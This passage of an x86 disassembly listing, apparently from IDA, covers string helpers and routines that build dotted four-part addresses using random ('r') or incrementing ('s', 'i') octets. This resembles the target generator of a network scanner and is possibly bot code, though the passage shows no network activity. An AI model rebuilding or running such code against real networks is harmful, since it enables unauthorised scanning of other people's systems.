dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push ecx push ecx and [ebp+var_8], 0 and [ebp+var_4], 0 jmp short loc_4078FC ; --------------------------------------------------------------------------- loc_4078F5: ; CODE XREF: sub_4078E6:loc_407921j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_4078FC: ; CODE XREF: sub_4078E6+Dj mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jz short loc_407923 mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] movsx ecx, [ebp+arg_4] cmp eax, ecx jnz short loc_407921 mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_407921: ; CODE XREF: sub_4078E6+32j jmp short loc_4078F5 ; --------------------------------------------------------------------------- loc_407923: ; CODE XREF: sub_4078E6+21j mov eax, [ebp+var_8] leave retn sub_4078E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407928 proc near ; CODE XREF: sub_40E618+2Bp ; sub_40E618+185p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_10], 0 jnz short loc_407963 mov eax, [ebp+arg_10] shl eax, 2 push eax push 0 push [ebp+arg_8] call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_10] shl eax, 2 push eax push 0 push [ebp+arg_C] call sub_416B6A ; memset add esp, 0Ch xor eax, eax jmp locret_407A54 ; --------------------------------------------------------------------------- loc_407963: ; CODE XREF: sub_407928+Aj push [ebp+arg_0] push [ebp+arg_4] call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_4] push eax push offset dword_418F4C push [ebp+arg_0] call sub_40813C add esp, 0Ch mov ecx, [ebp+arg_8] mov [ecx], eax mov eax, [ebp+arg_C] mov ecx, [ebp+arg_4] mov [eax], ecx mov [ebp+var_8], 1 jmp short loc_4079A1 ; --------------------------------------------------------------------------- loc_40799A: ; CODE XREF: sub_407928:loc_407A4Cj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_4079A1: ; CODE XREF: sub_407928+70j mov eax, [ebp+var_8] cmp eax, [ebp+arg_10] jge loc_407A51 mov eax, [ebp+var_8] mov ecx, [ebp+arg_8] cmp dword ptr [ecx+eax*4-4], 0 jz short loc_407A0A lea eax, [ebp+var_4] push eax push offset dword_418F4C push 0 call sub_40813C add esp, 0Ch mov ecx, [ebp+var_8] mov edx, [ebp+arg_8] mov [edx+ecx*4], eax mov eax, [ebp+var_8] mov ecx, [ebp+arg_8] cmp dword ptr [ecx+eax*4], 0 jz short loc_4079F8 mov eax, [ebp+var_8] mov ecx, [ebp+arg_8] mov eax, [ecx+eax*4] sub eax, [ebp+arg_0] mov ecx, [ebp+arg_4] add ecx, eax mov [ebp+var_C], ecx jmp short loc_4079FC ; --------------------------------------------------------------------------- loc_4079F8: ; CODE XREF: sub_407928+B8j and [ebp+var_C], 0 loc_4079FC: ; CODE XREF: sub_407928+CEj mov eax, [ebp+var_8] mov ecx, [ebp+arg_C] mov edx, [ebp+var_C] mov [ecx+eax*4], edx jmp short loc_407A4C ; --------------------------------------------------------------------------- loc_407A0A: ; CODE XREF: sub_407928+90j mov eax, [ebp+arg_10] sub eax, [ebp+var_8] shl eax, 2 push eax push 0 mov eax, [ebp+var_8] mov ecx, [ebp+arg_8] lea eax, [ecx+eax*4] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_10] sub eax, [ebp+var_8] shl eax, 2 push eax push 0 mov eax, [ebp+var_8] mov ecx, [ebp+arg_C] lea eax, [ecx+eax*4] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+var_8] dec eax jmp short locret_407A54 ; --------------------------------------------------------------------------- loc_407A4C: ; CODE XREF: sub_407928+E0j jmp loc_40799A ; --------------------------------------------------------------------------- loc_407A51: ; CODE XREF: sub_407928+7Fj mov eax, [ebp+arg_10] locret_407A54: ; CODE XREF: sub_407928+36j ; sub_407928+122j leave retn sub_407928 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407A56 proc near ; CODE XREF: sub_401146+6Bp ; sub_401146+CAp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_407A81 cmp ecx, 1 jz short loc_407A7E loc_407A6E: ; CODE XREF: sub_407A56+26j mov al, [esi] mov [edi], al test al, al jz short loc_407A81 inc esi inc edi dec ecx cmp ecx, 1 jnz short loc_407A6E loc_407A7E: ; CODE XREF: sub_407A56+16j mov byte ptr [edi], 0 loc_407A81: ; CODE XREF: sub_407A56+11j ; sub_407A56+1Ej pop edi pop esi pop ebx pop ebp retn sub_407A56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407A86 proc near ; CODE XREF: sub_4097A7+17p ; sub_4098F3+17p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_407A97 ; --------------------------------------------------------------------------- loc_407A90: ; CODE XREF: sub_407A86+3Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_407A97: ; CODE XREF: sub_407A86+8j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jz short loc_407AC6 mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 30h jl short loc_407AC2 mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 39h jg short loc_407AC2 jmp short loc_407A90 ; --------------------------------------------------------------------------- loc_407AC2: ; CODE XREF: sub_407A86+2Aj ; sub_407A86+38j xor al, al jmp short locret_407AC8 ; --------------------------------------------------------------------------- loc_407AC6: ; CODE XREF: sub_407A86+1Cj mov al, 1 locret_407AC8: ; CODE XREF: sub_407A86+3Ej leave retn sub_407A86 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407ACA proc near ; CODE XREF: sub_401000+F6p ; sub_4148CE+61p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push [ebp+arg_8] call sub_416B40 ; strlen pop ecx mov [ebp+var_4], eax and [ebp+var_8], 0 and [ebp+var_C], 0 jmp short loc_407AED ; --------------------------------------------------------------------------- loc_407AE6: ; CODE XREF: sub_407ACA:loc_407B58j mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax loc_407AED: ; CODE XREF: sub_407ACA+1Aj mov eax, [ebp+arg_4] sub eax, [ebp+var_4] cmp [ebp+var_C], eax jg short loc_407B5A mov eax, [ebp+arg_0] add eax, [ebp+var_C] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_8] movsx ecx, byte ptr [ecx] cmp eax, ecx jz short loc_407B37 mov eax, [ebp+arg_0] add eax, [ebp+var_C] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_8] movsx ecx, byte ptr [ecx] add ecx, 20h cmp eax, ecx jz short loc_407B37 mov eax, [ebp+arg_0] add eax, [ebp+var_C] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_8] movsx ecx, byte ptr [ecx] sub ecx, 20h cmp eax, ecx jnz short loc_407B58 loc_407B37: ; CODE XREF: sub_407ACA+3Fj ; sub_407ACA+55j push [ebp+var_4] push [ebp+arg_8] mov eax, [ebp+arg_0] add eax, [ebp+var_C] push eax call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_407B58 mov eax, [ebp+arg_0] add eax, [ebp+var_C] jmp short locret_407B5C ; --------------------------------------------------------------------------- loc_407B58: ; CODE XREF: sub_407ACA+6Bj ; sub_407ACA+84j jmp short loc_407AE6 ; --------------------------------------------------------------------------- loc_407B5A: ; CODE XREF: sub_407ACA+2Cj xor eax, eax locret_407B5C: ; CODE XREF: sub_407ACA+8Cj leave retn sub_407ACA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407B5E proc near ; CODE XREF: sub_40A2D2+11Dp ; sub_40E943+20p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 jmp short loc_407B70 ; --------------------------------------------------------------------------- loc_407B69: ; CODE XREF: sub_407B5E:loc_407BEEj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_407B70: ; CODE XREF: sub_407B5E+9j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_407B85 mov eax, [ebp+arg_0] add eax, [ebp+var_4] jmp short locret_407BF3 ; --------------------------------------------------------------------------- loc_407B85: ; CODE XREF: sub_407B5E+1Dj mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 0Dh jz short loc_407BA1 mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 0Ah jnz short loc_407BEE loc_407BA1: ; CODE XREF: sub_407B5E+33j and [ebp+var_8], 0 jmp short loc_407BAE ; --------------------------------------------------------------------------- loc_407BA7: ; CODE XREF: sub_407B5E:loc_407BECj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_407BAE: ; CODE XREF: sub_407B5E+47j mov eax, [ebp+var_4] add eax, [ebp+var_8] mov ecx, [ebp+arg_0] movsx eax, byte ptr [ecx+eax] cmp eax, 0Dh jz short loc_407BD2 mov eax, [ebp+var_4] add eax, [ebp+var_8] mov ecx, [ebp+arg_0] movsx eax, byte ptr [ecx+eax] cmp eax, 0Ah jnz short loc_407BE1 loc_407BD2: ; CODE XREF: sub_407B5E+60j mov eax, [ebp+var_4] add eax, [ebp+var_8] mov ecx, [ebp+arg_0] and byte ptr [ecx+eax], 0 jmp short loc_407BEC ; --------------------------------------------------------------------------- loc_407BE1: ; CODE XREF: sub_407B5E+72j mov eax, [ebp+arg_0] add eax, [ebp+var_4] add eax, [ebp+var_8] jmp short locret_407BF3 ; --------------------------------------------------------------------------- loc_407BEC: ; CODE XREF: sub_407B5E+81j jmp short loc_407BA7 ; --------------------------------------------------------------------------- loc_407BEE: ; CODE XREF: sub_407B5E+41j jmp loc_407B69 ; --------------------------------------------------------------------------- locret_407BF3: ; CODE XREF: sub_407B5E+25j ; sub_407B5E+8Cj leave retn sub_407B5E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407BF5 proc near ; CODE XREF: sub_411A09+5Dp ; sub_411A09+F3p ... arg_0 = dword ptr 8 push ebp mov ebp, esp loc_407BF8: ; CODE XREF: sub_407BF5:loc_407C28j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_0] inc ecx mov [ebp+arg_0], ecx test eax, eax jz short loc_407C2A mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jnz short loc_407C15 jmp short loc_407C2A ; --------------------------------------------------------------------------- loc_407C15: ; CODE XREF: sub_407BF5+1Cj mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 20h jnz short loc_407C28 mov eax, [ebp+arg_0] and byte ptr [eax], 0 jmp short loc_407C2A ; --------------------------------------------------------------------------- loc_407C28: ; CODE XREF: sub_407BF5+29j jmp short loc_407BF8 ; --------------------------------------------------------------------------- loc_407C2A: ; CODE XREF: sub_407BF5+12j ; sub_407BF5+1Ej ... pop ebp retn sub_407BF5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407C2C proc near ; CODE XREF: sub_4083AD+2F2p ; sub_40CA29+91p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] mov [ebp+var_C], eax and [ebp+var_8], 0 and [ebp+var_4], 0 jmp short loc_407C49 ; --------------------------------------------------------------------------- loc_407C42: ; CODE XREF: sub_407C2C+31j ; sub_407C2C:loc_407CCDj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_407C49: ; CODE XREF: sub_407C2C+14j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 20h jnz short loc_407C68 cmp [ebp+var_C], 0 jz short loc_407C5F jmp short loc_407C42 ; --------------------------------------------------------------------------- loc_407C5F: ; CODE XREF: sub_407C2C+2Fj mov [ebp+var_C], 1 jmp short loc_407C6C ; --------------------------------------------------------------------------- loc_407C68: ; CODE XREF: sub_407C2C+29j and [ebp+var_C], 0 loc_407C6C: ; CODE XREF: sub_407C2C+3Aj mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov cl, [ecx] mov [eax], cl mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_407CCD cmp [ebp+arg_8], 0 jz short loc_407CCB cmp [ebp+var_8], 0 jz short loc_407CCB loc_407C9C: ; CODE XREF: sub_407C2C:loc_407CC9j push 1 pop eax test eax, eax jz short loc_407CCB mov eax, [ebp+arg_0] add eax, [ebp+var_8] and byte ptr [eax], 0 mov eax, [ebp+var_8] dec eax mov [ebp+var_8], eax mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] cmp eax, 20h jnz short loc_407CC7 cmp [ebp+var_8], 0 jnz short loc_407CC9 loc_407CC7: ; CODE XREF: sub_407C2C+93j jmp short loc_407CCB ; --------------------------------------------------------------------------- loc_407CC9: ; CODE XREF: sub_407C2C+99j jmp short loc_407C9C ; --------------------------------------------------------------------------- loc_407CCB: ; CODE XREF: sub_407C2C+68j ; sub_407C2C+6Ej ... jmp short locret_407CD2 ; --------------------------------------------------------------------------- loc_407CCD: ; CODE XREF: sub_407C2C+62j jmp loc_407C42 ; --------------------------------------------------------------------------- locret_407CD2: ; CODE XREF: sub_407C2C:loc_407CCBj leave retn sub_407C2C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407CD4 proc near ; CODE XREF: sub_407D42+5Fp ; sub_407D42+79p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_407CE5 ; --------------------------------------------------------------------------- loc_407CDE: ; CODE XREF: sub_407CD4+68j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_407CE5: ; CODE XREF: sub_407CD4+8j cmp [ebp+var_4], 4 jge short loc_407D3E mov eax, [ebp+arg_4] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 2Eh jnz short loc_407D0E mov eax, [ebp+arg_0] add eax, [ebp+var_4] and byte ptr [eax], 0 mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] lea eax, [ecx+eax+1] jmp short locret_407D40 ; --------------------------------------------------------------------------- loc_407D0E: ; CODE XREF: sub_407CD4+23j mov eax, [ebp+arg_4] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_407D2C mov eax, [ebp+arg_0] add eax, [ebp+var_4] and byte ptr [eax], 0 mov eax, [ebp+arg_4] add eax, [ebp+var_4] jmp short locret_407D40 ; --------------------------------------------------------------------------- loc_407D2C: ; CODE XREF: sub_407CD4+45j mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov cl, [ecx] mov [eax], cl jmp short loc_407CDE ; --------------------------------------------------------------------------- loc_407D3E: ; CODE XREF: sub_407CD4+15j xor eax, eax locret_407D40: ; CODE XREF: sub_407CD4+38j ; sub_407CD4+56j leave retn sub_407CD4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407D42 proc near ; CODE XREF: sub_407F3D+19p ; sub_407F3D+3Fp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ecx push 2Eh push [ebp+arg_0] call sub_4078E6 pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 3 jle short loc_407D63 xor eax, eax jmp locret_407E0A ; --------------------------------------------------------------------------- loc_407D63: ; CODE XREF: sub_407D42+18j mov eax, [ebp+arg_10] and byte ptr [eax], 0 mov eax, [ebp+arg_C] and byte ptr [eax], 0 mov eax, [ebp+arg_8] and byte ptr [eax], 0 mov eax, [ebp+arg_4] and byte ptr [eax], 0 mov eax, [ebp+var_4] mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_407DE9 cmp [ebp+var_8], 1 jz short loc_407DCF cmp [ebp+var_8], 2 jz short loc_407DB5 cmp [ebp+var_8], 3 jz short loc_407D9B jmp short loc_407E08 ; --------------------------------------------------------------------------- loc_407D9B: ; CODE XREF: sub_407D42+55j push [ebp+arg_0] push [ebp+arg_4] call sub_407CD4 pop ecx pop ecx mov [ebp+arg_0], eax cmp [ebp+arg_0], 0 jnz short loc_407DB5 xor eax, eax jmp short locret_407E0A ; --------------------------------------------------------------------------- loc_407DB5: ; CODE XREF: sub_407D42+4Fj ; sub_407D42+6Dj push [ebp+arg_0] push [ebp+arg_8] call sub_407CD4 pop ecx pop ecx mov [ebp+arg_0], eax cmp [ebp+arg_0], 0 jnz short loc_407DCF xor eax, eax jmp short locret_407E0A ; --------------------------------------------------------------------------- loc_407DCF: ; CODE XREF: sub_407D42+49j ; sub_407D42+87j push [ebp+arg_0] push [ebp+arg_C] call sub_407CD4 pop ecx pop ecx mov [ebp+arg_0], eax cmp [ebp+arg_0], 0 jnz short loc_407DE9 xor eax, eax jmp short locret_407E0A ; --------------------------------------------------------------------------- loc_407DE9: ; CODE XREF: sub_407D42+43j ; sub_407D42+A1j push [ebp+arg_0] push [ebp+arg_10] call sub_407CD4 pop ecx pop ecx mov [ebp+arg_0], eax cmp [ebp+arg_0], 0 jnz short loc_407E03 xor eax, eax jmp short locret_407E0A ; --------------------------------------------------------------------------- loc_407E03: ; CODE XREF: sub_407D42+BBj push 1 pop eax jmp short locret_407E0A ; --------------------------------------------------------------------------- loc_407E08: ; CODE XREF: sub_407D42+57j xor eax, eax locret_407E0A: ; CODE XREF: sub_407D42+1Cj ; sub_407D42+71j ... leave retn sub_407D42 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407E0C proc near ; CODE XREF: sub_407F3D+A3p ; sub_407F3D+C1p ... var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 72h jnz short loc_407E4A mov eax, [ebp+arg_4] movsx eax, byte ptr [eax+1] test eax, eax jnz short loc_407E4A push 0Ah push [ebp+arg_C] push 0FFh push 0 call sub_4103F5 pop ecx pop ecx push eax call sub_416F7A ; _itoa add esp, 0Ch mov eax, [ebp+arg_10] jmp locret_407F3B ; --------------------------------------------------------------------------- loc_407E4A: ; CODE XREF: sub_407E0C+Dj ; sub_407E0C+18j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 73h jz short loc_407E64 mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 69h jnz loc_407EF9 loc_407E64: ; CODE XREF: sub_407E0C+47j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax+1] test eax, eax jnz loc_407EF9 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jz short loc_407EB3 cmp [ebp+arg_10], 0 jz short loc_407EB3 push [ebp+arg_0] call sub_416B9C ; atoi pop ecx movzx eax, al inc eax mov [ebp+var_4], al push 0Ah push [ebp+arg_C] movzx eax, [ebp+var_4] push eax call sub_416F7A ; _itoa add esp, 0Ch movzx eax, [ebp+var_4] neg eax sbb eax, eax inc eax jmp locret_407F3B ; --------------------------------------------------------------------------- loc_407EB3: ; CODE XREF: sub_407E0C+6Fj ; sub_407E0C+75j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jz short loc_407ECC push [ebp+arg_0] push [ebp+arg_C] call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_407EF5 ; --------------------------------------------------------------------------- loc_407ECC: ; CODE XREF: sub_407E0C+AFj mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 69h jnz short loc_407EE8 push offset dword_418F50 push [ebp+arg_C] call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_407EF5 ; --------------------------------------------------------------------------- loc_407EE8: ; CODE XREF: sub_407E0C+C9j push [ebp+arg_8] push [ebp+arg_C] call sub_416B3A ; _mbscpy pop ecx pop ecx loc_407EF5: ; CODE XREF: sub_407E0C+BEj ; sub_407E0C+DAj xor eax, eax jmp short locret_407F3B ; --------------------------------------------------------------------------- loc_407EF9: ; CODE XREF: sub_407E0C+52j ; sub_407E0C+61j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jz short loc_407F12 push [ebp+arg_4] push [ebp+arg_C] call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_407F38 ; --------------------------------------------------------------------------- loc_407F12: ; CODE XREF: sub_407E0C+F5j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jz short loc_407F2B push [ebp+arg_0] push [ebp+arg_C] call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_407F38 ; --------------------------------------------------------------------------- loc_407F2B: ; CODE XREF: sub_407E0C+10Ej push [ebp+arg_8] push [ebp+arg_C] call sub_416B3A ; _mbscpy pop ecx pop ecx loc_407F38: ; CODE XREF: sub_407E0C+104j ; sub_407E0C+11Dj mov eax, [ebp+arg_10] locret_407F3B: ; CODE XREF: sub_407E0C+39j ; sub_407E0C+A2j ... leave retn sub_407E0C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407F3D proc near ; CODE XREF: sub_41349C+192p ; sub_41349C+3DAp var_44 = byte ptr -44h var_40 = byte ptr -40h var_3C = byte ptr -3Ch var_38 = byte ptr -38h var_34 = byte ptr -34h var_30 = byte ptr -30h var_2C = byte ptr -2Ch var_28 = byte ptr -28h var_24 = byte ptr -24h var_20 = byte ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 44h lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_44] push eax lea eax, [ebp+var_3C] push eax push [ebp+arg_0] call sub_407D42 add esp, 14h test eax, eax jnz short loc_407F69 xor eax, eax jmp locret_408068 ; --------------------------------------------------------------------------- loc_407F69: ; CODE XREF: sub_407F3D+23j lea eax, [ebp+var_14] push eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_40] push eax push [ebp+arg_4] call sub_407D42 add esp, 14h test eax, eax jnz short loc_407F8F xor eax, eax jmp locret_408068 ; --------------------------------------------------------------------------- loc_407F8F: ; CODE XREF: sub_407F3D+49j lea eax, [ebp+var_34] push eax lea eax, [ebp+var_2C] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_1C] push eax push offset dword_41EF48 call sub_407D42 add esp, 14h test eax, eax jnz short loc_407FB7 xor eax, eax jmp locret_408068 ; --------------------------------------------------------------------------- loc_407FB7: ; CODE XREF: sub_407F3D+71j movsx eax, [ebp+var_14] test eax, eax jnz short loc_407FC6 xor eax, eax jmp locret_408068 ; --------------------------------------------------------------------------- loc_407FC6: ; CODE XREF: sub_407F3D+80j mov [ebp+var_18], 1 push [ebp+var_18] lea eax, [ebp+var_38] push eax lea eax, [ebp+var_34] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_10] push eax call sub_407E0C add esp, 14h mov [ebp+var_18], eax push [ebp+var_18] lea eax, [ebp+var_30] push eax lea eax, [ebp+var_2C] push eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_8] push eax call sub_407E0C add esp, 14h mov [ebp+var_18], eax push [ebp+var_18] lea eax, [ebp+var_28] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_44] push eax call sub_407E0C add esp, 14h mov [ebp+var_18], eax push [ebp+var_18] lea eax, [ebp+var_20] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_40] push eax lea eax, [ebp+var_3C] push eax call sub_407E0C add esp, 14h mov [ebp+var_18], eax lea eax, [ebp+var_38] push eax lea eax, [ebp+var_30] push eax lea eax, [ebp+var_28] push eax lea eax, [ebp+var_20] push eax push offset dword_418F54 push [ebp+arg_8] call sub_416B5E ; sprintf add esp, 18h push 1 pop eax locret_408068: ; CODE XREF: sub_407F3D+27j ; sub_407F3D+4Dj ... leave retn sub_407F3D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40806A proc near ; CODE XREF: sub_41349C+12Ap var_20 = byte ptr -20h var_1C = byte ptr -1Ch var_18 = byte ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20h lea eax, [ebp+var_4] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_18] push eax push [ebp+arg_0] call sub_407D42 add esp, 14h test eax, eax jnz short loc_408096 xor eax, eax jmp locret_40813A ; --------------------------------------------------------------------------- loc_408096: ; CODE XREF: sub_40806A+23j lea eax, [ebp+var_14] push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_8] push eax push offset dword_41EF48 call sub_407D42 add esp, 14h test eax, eax jnz short loc_4080BB xor eax, eax jmp short locret_40813A ; --------------------------------------------------------------------------- loc_4080BB: ; CODE XREF: sub_40806A+4Bj movsx eax, [ebp+var_18] test eax, eax jnz short loc_4080D2 lea eax, [ebp+var_8] push eax lea eax, [ebp+var_18] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_4080D2: ; CODE XREF: sub_40806A+57j movsx eax, [ebp+var_1C] test eax, eax jnz short loc_4080E9 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_1C] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_4080E9: ; CODE XREF: sub_40806A+6Ej movsx eax, [ebp+var_20] test eax, eax jnz short loc_408100 lea eax, [ebp+var_10] push eax lea eax, [ebp+var_20] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_408100: ; CODE XREF: sub_40806A+85j movsx eax, [ebp+var_4] test eax, eax jnz short loc_408117 lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_408117: ; CODE XREF: sub_40806A+9Cj lea eax, [ebp+var_4] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_18] push eax push offset dword_418F54 push [ebp+arg_0] call sub_416B5E ; sprintf add esp, 18h push 1 pop eax locret_40813A: ; CODE XREF: sub_40806A+27j ; sub_40806A+4Fj leave retn sub_40806A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40813C proc near ; CODE XREF: sub_407928+54p ; sub_407928+9Dp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_0], 0 jz short loc_408150 mov eax, [ebp+arg_8] mov ecx, [ebp+arg_0] mov [eax], ecx loc_408150: ; CODE XREF: sub_40813C+Aj mov eax, [ebp+arg_8] mov eax, [eax] mov [ebp+var_8], eax jmp short loc_408161 ; --------------------------------------------------------------------------- loc_40815A: ; CODE XREF: sub_40813C:loc_4081A0j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_408161: ; CODE XREF: sub_40813C+1Cj mov eax, [ebp+var_8] movsx eax, byte ptr [eax] test eax, eax jz short loc_4081A2 mov eax, [ebp+arg_4] mov [ebp+var_4], eax loc_408171: ; CODE XREF: sub_40813C+56j mov eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jz short loc_408194 mov eax, [ebp+var_4] movsx eax, byte ptr [eax] mov ecx, [ebp+var_8] movsx ecx, byte ptr [ecx] cmp eax, ecx jz short loc_408194 mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax jmp short loc_408171 ; --------------------------------------------------------------------------- loc_408194: ; CODE XREF: sub_40813C+3Dj ; sub_40813C+4Dj mov eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_4081A0 jmp short loc_4081A2 ; --------------------------------------------------------------------------- loc_4081A0: ; CODE XREF: sub_40813C+60j jmp short loc_40815A ; --------------------------------------------------------------------------- loc_4081A2: ; CODE XREF: 